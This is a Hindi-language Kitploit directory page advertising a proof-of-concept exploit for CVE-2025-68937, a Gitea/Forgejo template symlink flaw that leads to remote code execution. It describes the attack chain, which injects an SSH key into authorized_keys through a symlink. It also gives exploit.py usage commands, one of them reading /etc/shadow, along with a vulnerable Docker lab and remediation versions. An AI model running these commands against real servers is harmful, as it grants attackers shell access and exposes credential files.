Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-68937 — CVE-2025-68937 के लिए स्वचालित PoC एक्सप्लॉइट — Gitea/Forgejo टेम्पलेट सिमलिंक RCE। कोई भी प्रमाणित उपयोगकर्ता git सेवा उपयोगकर्ता के रूप में शेल प्राप्त कर सकता है। | Kitploit
उपकरण/GitHubGitHub/scratchappy/cve-2025-68937
विशेषाधिकार वृद्धिशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूल
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

CVE-2025-68937 के लिए स्वचालित PoC एक्सप्लॉइट — Gitea/Forgejo टेम्पलेट सिमलिंक RCE। कोई भी प्रमाणित उपयोगकर्ता git सेवा उपयोगकर्ता के रूप में शेल प्राप्त कर सकता है।

रिपॉजिटरी देखें
71 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-68937 - Gitea/Forgejo टेम्पलेट सिमलिंक RCE

CVE-2025-68937 के लिए स्वचालित प्रूफ-ऑफ-कॉन्सेप्ट: Gitea और Forgejo टेम्पलेट रिपॉज़िटरी प्रोसेसिंग में सिमलिंक डीरेफरेंसिंग के माध्यम से डायरेक्टरी ट्रैवर्सल, जिसके परिणामस्वरूप रिमोट कोड एक्ज़ीक्यूशन होता है।

कोई भी प्रमाणित उपयोगकर्ता (एडमिन की आवश्यकता नहीं) git सेवा उपयोगकर्ता के रूप में शेल प्राप्त कर सकता है।

भेद्यता

जब किसी टेम्पलेट से एक नई रिपॉज़िटरी बनाई जाती है, तो Gitea/Forgejo टेम्पलेट फ़ाइलों की प्रतिलिपि बनाता है और .gitea/template में सूचीबद्ध फ़ाइलों में ${REPO_DESCRIPTION} जैसे वेरिएबल्स का विस्तार करता है। यह प्रक्रिया बिना किसी सत्यापन के सिम्बोलिक लिंक का अनुसरण करती है, जिससे हमलावर को सर्वर पर मनमानी फ़ाइलों को पढ़ने और लिखने की अनुमति मिलती है।

विवरणमान
CVECVE-2025-68937
CVSS 4.09.5 क्रिटिकल
CWECWE-61 (UNIX Symbolic Link Following)
प्रमाणीकरण आवश्यकहाँ (कोई भी उपयोगकर्ता)
एडमिन आवश्यकनहीं

प्रभावित संस्करण

सॉफ़्टवेयरप्रभावितफिक्स्ड
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

यह कैसे काम करता है

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. Gitea के साथ एक पॉइज़न्ड SSH कुंजी पंजीकृत करें -- कुंजी की टिप्पणी में ${REPO_DESCRIPTION} होता है, जो एक टेम्पलेट वेरिएबल है जिसे Gitea विस्तारित करता है
  2. एक टेम्पलेट रिपॉज़िटरी बनाएँ जिसमें शामिल हो:
    • वेरिएबल विस्तार के लिए authorized_keys को सूचीबद्ध करने वाला .gitea/template
    • एक git सिमलिंक authorized_keys जो git उपयोगकर्ता की वास्तविक authorized_keys फ़ाइल की ओर इंगित करता है
  3. विवरण फ़ील्ड में हमलावर की अप्रतिबंधित SSH सार्वजनिक कुंजी के साथ टेम्पलेट से एक चाइल्ड रिपॉज़िटरी बनाएँ
  4. टेम्पलेट विस्तार सिमलिंक का अनुसरण करता है, वास्तविक authorized_keys फ़ाइल को पढ़ता है (जिसमें टिप्पणी में ${REPO_DESCRIPTION} के साथ हमारी पंजीकृत कुंजी होती है), वेरिएबल को चाइल्ड के विवरण (हमारी SSH कुंजी) में विस्तारित करता है, और परिणाम को सिमलिंक के माध्यम से वापस लिखता है
  5. इंजेक्ट की गई कुंजी के साथ git के रूप में SSH करें (कोई command= प्रतिबंध नहीं)

उपयोग

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

विकल्प

परीक्षण वातावरण

एक असुरक्षित इंस्टेंस लॉन्च करें:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. http://localhost:3000 खोलें, इंस्टॉलेशन विज़ार्ड पूरा करें (SQLite ठीक काम करता है)
  2. एक उपयोगकर्ता खाता पंजीकृत करें
  3. चलाएँ:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

आवश्यकताएँ

  • Python 3.8+
  • requests
  • PATH पर git और ssh-keygen

उपचार

  • Gitea: 1.24.7 या बाद के संस्करण में अपग्रेड करें
  • Forgejo: 11.0.7 (LTS) या 13.0.2+ में अपग्रेड करें

संदर्भ

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • Gitea Security Fix Analysis (PR #36734 & #36746)
  • Gitea 1.24.7 Release Notes

अस्वीकरण

यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन्हीं सिस्टम्स पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।

टूल डाउनलोड करें
फ़्लैगडिफ़ॉल्टविवरण
-u, --urlआवश्यकGitea/Forgejo बेस URL
-U, --userआवश्यकउपयोगकर्ता नाम
-P, --passwordआवश्यकपासवर्ड
--git-home/data/gitलक्ष्य पर Git उपयोगकर्ता की होम डायरेक्टरी
--ssh-host--url सेSSH होस्ट जिससे कनेक्ट करना है
--ssh-port22Gitea SSH पोर्ट
--timeout30SSH के लिए प्रतीक्षा करने हेतु सेकंड
--commandइंटरैक्टिवशेल प्राप्त करने के बाद चलाने के लिए कमांड
--cleanup-एक्सप्लॉइट आर्टिफैक्ट हटाएँ